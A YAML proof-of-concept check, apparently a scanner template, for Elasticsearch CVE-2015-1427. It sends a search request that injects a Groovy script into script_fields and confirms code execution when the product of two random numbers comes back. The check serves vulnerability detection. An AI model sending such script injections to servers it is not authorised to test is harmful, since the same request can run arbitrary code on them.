name: poc-yaml-elasticsearch-cve-2015-1427
set:
  r1: randomInt(40000, 44800)
  r2: randomInt(40000, 44800)
rules:
  - method: POST
    path: /test/test
    headers:
      Content-Type: application/json
    body: |
      {
        "name": "test"
      }
    expression: |
      response.status == 201
  - method: POST
    path: /_search
    headers:
      Content-Type: application/json
    body: |
      {
          "size":1,
          "script_fields":{
              "lupin":{
                  "lang":"groovy",
                  "script":"{{r1}}*{{r2}}"
              }
          }
      }
    expression: |
      response.status == 200 && response.content_type.icontains("json") && response.body.bcontains(bytes(string(r1 * r2)))
detail:
  author: pululin(https://github.com/pululin)
  links:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427